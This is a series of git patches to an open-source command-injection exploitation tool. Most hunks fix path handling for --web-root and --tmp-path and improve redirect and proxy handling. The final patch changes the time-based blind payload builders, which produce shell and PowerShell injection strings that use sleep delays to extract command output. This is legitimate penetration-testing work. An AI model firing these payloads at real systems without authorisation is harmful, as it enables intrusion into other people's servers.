eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 07ced00f1c..02ee5ac77c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "70" +REVISION = "71" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1016,6 +1016,9 @@ class INJECTION_TECHNIQUE(object): FILE_ACCESS_DONE = False FILE_ACCESS_AGAIN = False +# Set when '--file-dest' targets the "/tmp/" directory, to switch straight to the tempfile-based technique. +CALL_TMP_BASED = False + # XML Data IS_XML = False From 545169c06f873ffac65b33d189a95e0b0e9ab223 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Aug 2026 10:21:19 +0300 Subject: [PATCH 0728/1023] Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root` --- doc/CHANGELOG.md | 2 +- src/core/injections/controller/checks.py | 35 ++++++++++++++------ src/core/injections/controller/controller.py | 3 +- src/core/injections/controller/handler.py | 6 ++-- src/core/injections/controller/injector.py | 5 ++- src/core/main.py | 7 ++++ src/core/requests/requests.py | 2 +- src/utils/menu.py | 3 ++ src/utils/settings.py | 5 ++- 9 files changed, 47 insertions(+), 21 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cf8da87eea..4dacd2c23e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,8 +1,8 @@ ## Version 4.2 (TBA) +* Fixed: Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root`. * Revised: Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`). * Revised: Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input. * Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`). - * Revised: Improved stored-session resume handling. * Revised: Improved parameter parsing and injection point detection across all supported request formats. * Added: New `--threads` switch to support parallel data retrieval, reducing extraction time on supported techniques. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 38d0c5f205..6c0c2bc2ac 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2907,12 +2907,31 @@ def finalize(exit_loops, no_result, float_percent, injection_type, technique, sh else: return False +""" +Normalize a directory path for the target OS +""" +def normalize_target_dir(path): + if not path: + return path + if settings.TARGET_OS == settings.OS.WINDOWS: + path = path.replace("/", "\\") + if not path.endswith("\\"): + path += "\\" + else: + path = path.replace("\\", "/") + if not path.endswith("/"): + path += "/" + return path + """ Provide custom server's root directory """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): if not settings.CUSTOM_WEB_ROOT: - if settings.TARGET_OS == settings.OS.WINDOWS : + # Prefer the already-detected default over the generic one. + if settings.WEB_ROOT: + default_root_dir = settings.WEB_ROOT + elif settings.TARGET_OS == settings.OS.WINDOWS : default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] else: default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) @@ -2933,16 +2952,10 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon Return TEMP path for win / *nix targets. """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - def check_trailing_slashes(): - if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): - menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" - elif not menu.options.web_root.endswith("/"): - menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" - # Set temp path if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = r"C:\\Windows\TEMP\\" + settings.TMP_PATH = "C:\\Windows\\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: @@ -2952,6 +2965,7 @@ def check_trailing_slashes(): tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH + tmp_path = normalize_target_dir(tmp_path) if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT @@ -2966,9 +2980,8 @@ def check_trailing_slashes(): # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - check_trailing_slashes() + settings.WEB_ROOT = normalize_target_dir(settings.WEB_ROOT) + menu.options.web_root = settings.WEB_ROOT return tmp_path diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 68050798c7..67046515d3 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -424,8 +424,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" + menu.options.web_root = checks.normalize_target_dir(menu.options.web_root) if checks.procced_with_file_based_technique(): menu.options.tech = "f" diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 089a6f4ec5..a9e9f21fe4 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -588,7 +588,8 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec percent, float_percent = checks.percentage_calculation(i, total) if settings.CALL_TMP_BASED == True: exit_loops = True - tmp_path = os.path.split(menu.options.file_dest)[0] + "/" + dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/")) + tmp_path = checks.normalize_target_dir(dest_dir) checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. @@ -636,7 +637,8 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. - if not menu.options.web_root: + if not settings.USER_APPLIED_WEB_ROOT: + settings.CUSTOM_WEB_ROOT = False checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index b956f1f69d..28530e466c 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -442,9 +442,8 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese Get the command output filename, skipping the prompt when resuming. """ def select_output_filename(technique, tmp_path, TAG, prompt=True): - # Ensure tmp_path ends with a slash for safe concatenation - if tmp_path and not tmp_path.endswith("/"): - tmp_path += "/" + # Ensure tmp_path is safe to concatenate. + tmp_path = checks.normalize_target_dir(tmp_path) # If a custom filename is already set, handle tmp_path prefix depending on technique if settings.CUSTOM_FILENAME: diff --git a/src/core/main.py b/src/core/main.py index b0f6ac17b2..5aea9a61b8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -304,6 +304,13 @@ def init_injection(url): settings.SKIP_NON_CUSTOM_PARAMS = None settings.CUSTOM_INJECTION_MARKER = None settings.CUSTOM_FILENAME = "" + + # Reset web-root state + settings.WEB_ROOT = "" + settings.DEFAULT_WEB_ROOT = "" + settings.CUSTOM_WEB_ROOT = False + if not settings.USER_APPLIED_WEB_ROOT: + menu.options.web_root = False """ Validate and normalize a target line, returning the cleaned URL or None. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 422e835882..ee5a6c44a1 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -905,7 +905,7 @@ def server_identification(response): settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace( settings.DOC_ROOT_TARGET_MARK, settings.TARGET_URL) elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[6] + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[3] elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break diff --git a/src/utils/menu.py b/src/utils/menu.py index 40cdf675a4..be6396f9d7 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -679,6 +679,9 @@ def _(self, *args): option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") (options, args) = parser.parse_args() +# Remember whether '--web-root' was explicitly supplied on the CLI +settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) + # Checkall the banner if not options.version: banner() diff --git a/src/utils/settings.py b/src/utils/settings.py index 02ee5ac77c..be7e243e29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "71" +REVISION = "72" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -657,6 +657,9 @@ class OS(object): CUSTOM_WEB_ROOT = False CUSTOM_FILENAME = "" +# Whether '--web-root' was explicitly supplied on the CLI +USER_APPLIED_WEB_ROOT = False + # Counting the total of HTTP(S) requests TOTAL_OF_REQUESTS = 0 From 5db400da47ab6e15f832a857b67b4d83c4edd68c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Aug 2026 11:39:26 +0300 Subject: [PATCH 0729/1023] Improved redirect handling and connection performance. --- doc/CHANGELOG.md | 1 + src/core/main.py | 24 +++++++++++++--------- src/core/requests/authentication.py | 5 +++-- src/core/requests/headers.py | 20 +++++++++++++++++-- src/core/requests/proxy.py | 5 +++-- src/core/requests/redirection.py | 5 +++++ src/core/requests/requests.py | 31 ++++++++++++++++++----------- src/utils/menu.py | 3 +++ src/utils/settings.py | 2 +- 9 files changed, 68 insertions(+), 28 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4dacd2c23e..66b094761e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved redirect handling and connection performance. * Fixed: Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root`. * Revised: Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`). * Revised: Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input. diff --git a/src/core/main.py b/src/core/main.py index 5aea9a61b8..7ade3eee37 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -140,9 +140,12 @@ def examine_request(request, url): if settings.MULTI_TARGETS: settings.MAX_RETRIES = 1 try: - headers.check_http_traffic(request) + # Reuse check_http_traffic()'s own fetch instead of requesting twice. + response = headers.check_http_traffic(request) + if response is not None: + return response # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy: return proxy.use_proxy(request) else: try: @@ -218,6 +221,8 @@ def perform_init_request(url, http_request_method): debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) opener = _urllib.request.build_opener(redirection.RedirectHandler()) + # Install globally so later bare urlopen() calls respect it too. + _urllib.request.install_opener(opener) request = perform_init_request(url, http_request_method) response = opener.open(request, timeout=settings.TIMEOUT) if response.geturl() != url: @@ -230,7 +235,7 @@ def perform_init_request(url, http_request_method): except Exception as err_msg: requests.request_failed(err_msg) - if redirect_url and redirect_url != url: + if redirect_url and redirect_url != url and settings.FOLLOW_REDIRECT: redirect_url = redirection.do_check(request, url, redirect_url, http_request_method) if redirect_url is not None and settings.FOLLOW_REDIRECT: if _: @@ -284,8 +289,8 @@ def init_injection(url): debug_msg = "Initializing the knowledge base." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - # Ensure redirection is followed and core injection paths are enabled - settings.FOLLOW_REDIRECT = True + # Ensure redirection is followed (unless ignored) and core injection paths are enabled + settings.FOLLOW_REDIRECT = not menu.options.ignore_redirects settings.SKIP_CODE_INJECTIONS = False settings.SKIP_COMMAND_INJECTIONS = False @@ -379,6 +384,9 @@ def main(filename, url, http_request_method): # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + elif menu.options.url_reload: + warn_msg = "The '--url-reload' option has no effect without '--data'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.flush_session: session_handler.flush(url) @@ -559,7 +567,8 @@ def main(filename, url, http_request_method): try: info_msg = "Performing heuristic (passive) tests on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - requests.is_url_content_stable(url) + if settings.VERBOSITY_LEVEL != 0: + requests.is_url_content_stable(url) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target server identification. @@ -661,9 +670,6 @@ def main(filename, url, http_request_method): if "fileno" in str(ex) and settings.STDIN_PARSING: settings.STDIN_PARSING = False - if menu.options.ignore_redirects: - settings.FOLLOW_REDIRECT = False - if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index e667cb3da2..1591a0f703 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -22,6 +22,7 @@ from src.utils import session_handler from src.core.requests import proxy from src.core.requests import headers +from src.core.requests import redirection from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input @@ -47,7 +48,7 @@ def authentication_process(http_request_method): auth_url = menu.options.auth_url auth_data = menu.options.auth_data cj = _http_cookiejar.CookieJar() - opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj)) + opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj), redirection.RedirectHandler()) _urllib.request.install_opener(opener) request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. @@ -138,7 +139,7 @@ def http_auth_cracker(url, realm, http_request_method): elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) + opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler()) _urllib.request.install_opener(opener) request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 97bf6d4dcc..598ad262b8 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -39,6 +39,7 @@ from src.utils import menu from src.utils import settings from src.core.injections.controller import checks +from src.core.requests import redirection from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import urllib as _urllib @@ -178,7 +179,15 @@ def https_open(self, req): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) - opener = _urllib.request.build_opener(connection_handler()) + # Also route through the configured proxy/Tor, so this fetch is reusable. + if menu.options.ignore_proxy: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(), redirection.RedirectHandler()) + elif menu.options.tor: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(), redirection.RedirectHandler()) + else: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.SCHEME) + opener = _urllib.request.build_opener(connection_handler(), redirection.RedirectHandler()) # Time limit mechanism. if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): @@ -218,6 +227,9 @@ def https_open(self, req): raise SystemExit() except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: + # A deliberately unfollowed redirect - retrying won't help. + if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): + break if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True with settings.REQUESTS_LOCK: @@ -239,6 +251,9 @@ def https_open(self, req): try: if response is False: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # Make .read() idempotent so callers can safely reuse this response. + _raw_body = response.read() + response.read = (lambda _b: lambda *a, **kw: _b)(_raw_body) code = response.getcode() response_headers = response.info() page = checks.process_page_content(response, action="encode") @@ -254,6 +269,7 @@ def https_open(self, req): checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) + return response # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: @@ -386,7 +402,7 @@ def do_check(request): password = user_pass_pair[1] authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) + opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler()) _urllib.request.install_opener(opener) result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) except AttributeError: diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 292231a353..68a9e207ad 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -19,6 +19,7 @@ from src.utils import settings from src.core.requests import headers from src.core.requests import requests +from src.core.requests import redirection from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -31,11 +32,11 @@ def use_proxy(request): try: if menu.options.ignore_proxy: proxy = _urllib.request.ProxyHandler({}) - opener = _urllib.request.build_opener(proxy) + opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler()) _urllib.request.install_opener(opener) elif menu.options.tor: proxy = _urllib.request.ProxyHandler({settings.SCHEME:menu.options.proxy}) - opener = _urllib.request.build_opener(proxy) + opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler()) _urllib.request.install_opener(opener) else: request.set_proxy(menu.options.proxy, settings.SCHEME) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 8402afe24f..be140c248a 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -44,6 +44,11 @@ class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): settings.REDIRECT_CODE = code + if not settings.FOLLOW_REDIRECT: + # Not following - don't treat its status code as an error either. + if code not in settings.IGNORE_CODE: + settings.IGNORE_CODE.append(code) + return None return Request(newurl.replace(' ', '%20'), data=request.data, headers=request.headers diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ee5a6c44a1..eabf65a95c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -44,9 +44,8 @@ """ def is_url_content_stable(url, delay=5): status = "stable" - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Testing if the target URL content remains consistent between requests." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + debug_msg = "Testing if the target URL content remains consistent between requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) try: @@ -70,9 +69,8 @@ def is_url_content_stable(url, delay=5): settings.print_data_to_stdout(settings.print_warning_msg(msg)) return - if settings.VERBOSITY_LEVEL != 0: - msg = "Target URL content is " + status + "." - settings.print_data_to_stdout(settings.print_bold_debug_msg(msg)) + msg = "Target URL content is " + status + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(msg)) """ @@ -298,6 +296,11 @@ def request_failed(err_msg): settings.VALID_URL = False + # A deliberately unfollowed redirect isn't a real failure. + if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): + settings.VALID_URL = True + return False + try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: @@ -424,8 +427,12 @@ def request_failed(err_msg): """ def get_request_response(request): - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + # Reuse check_http_traffic()'s own fetch instead of requesting twice. + response = headers.check_http_traffic(request) + if response is not None: + return response + + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: try: response = proxy.use_proxy(request) except Exception as err_msg: @@ -435,7 +442,7 @@ def get_request_response(request): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: response = request_failed(err_msg) - + return response """ @@ -938,9 +945,9 @@ def url_reload(url, delay_seconds): delay_seconds = 5 time.sleep(delay_seconds) - # Perform the URL request and return the response - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - return response + request = _urllib.request.Request(url, method=settings.HTTPMETHOD.GET) + headers.do_check(request) + return get_request_response(request) """ Calculate the time related execution time diff --git a/src/utils/menu.py b/src/utils/menu.py index be6396f9d7..6e71ddb0ed 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -682,6 +682,9 @@ def _(self, *args): # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) +# Apply '--ignore-redirects' before the very first request is made +settings.FOLLOW_REDIRECT = not options.ignore_redirects + # Checkall the banner if not options.version: banner() diff --git a/src/utils/settings.py b/src/utils/settings.py index be7e243e29..b4f5fa419f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "72" +REVISION = "73" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 220e434ae149b8412f8e1cab18b987e4e0220c37 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Aug 2026 08:09:11 +0300 Subject: [PATCH 0730/1023] Improved timing-delay reliability and thread-safety for time-related techniques --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 7 +- .../techniques/time_based/tb_injector.py | 4 +- .../techniques/time_based/tb_payloads.py | 160 +++- src/core/injections/controller/checks.py | 166 +++- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/handler.py | 284 +++---- src/core/injections/controller/injector.py | 711 +++++++++++++----- .../techniques/tempfile_based/tfb_handler.py | 1 - .../techniques/tempfile_based/tfb_injector.py | 4 +- .../techniques/tempfile_based/tfb_payloads.py | 48 +- src/core/main.py | 50 +- src/core/requests/headers.py | 172 +++-- src/core/requests/requests.py | 84 ++- src/core/requests/stability.py | 99 +++ src/core/testing.py | 2 - src/utils/common.py | 10 +- src/utils/menu.py | 3 +- src/utils/purge.py | 5 - src/utils/session_handler.py | 15 +- src/utils/settings.py | 173 +++-- 21 files changed, 1421 insertions(+), 580 deletions(-) create mode 100644 src/core/requests/stability.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 66b094761e..761515d6c9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved timing-delay reliability and thread-safety for time-related techniques. * Revised: Improved redirect handling and connection performance. * Fixed: Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root`. * Revised: Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`). diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 2f276b0a79..da8c0ec0c3 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -35,20 +35,17 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. if not settings.TIME_RELATED_ATTACK: - checks.time_related_attaks_msg() settings.TIME_RELATED_ATTACK = True tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: settings.RESPONSE_DELAYS = True - warn_msg = "Due to significant response delays, " - warn_msg += "skipping the time-based (blind) technique is strongly recommended." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) go_back = False while True: if go_back == True: return False - message = "How do you want to proceed? [(C)ontinue/(s)kip] > " + message = "High response delays make time-related techniques unreliable. " + message += "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 42aa4700e5..387ff2811f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -29,8 +29,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None): OUTPUT_TEXTFILE = "" - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total) # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 0d7ab8530f..8fcc58889c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -184,7 +184,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX if separator in (";", "%0a"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + @@ -198,7 +198,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length $" + settings.RANDOM_VAR_GENERATOR + ")" + separator + @@ -286,23 +286,143 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque return checks.sanitize_payload_newlines(payload) +""" +Ordering (not equality) length check, so the output length can be binary searched. +""" +def get_length(separator, cmd, candidate_length, timesec, http_request_method): + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator in ("|", "||"): + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + "\"') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + ) + elif separator == _urllib.parse.quote("&&") : + ampersand = _urllib.parse.quote("&") + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + "\"') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + ) + else: + pass + + else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + if separator in (";", "%0a"): + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + "then sleep " + 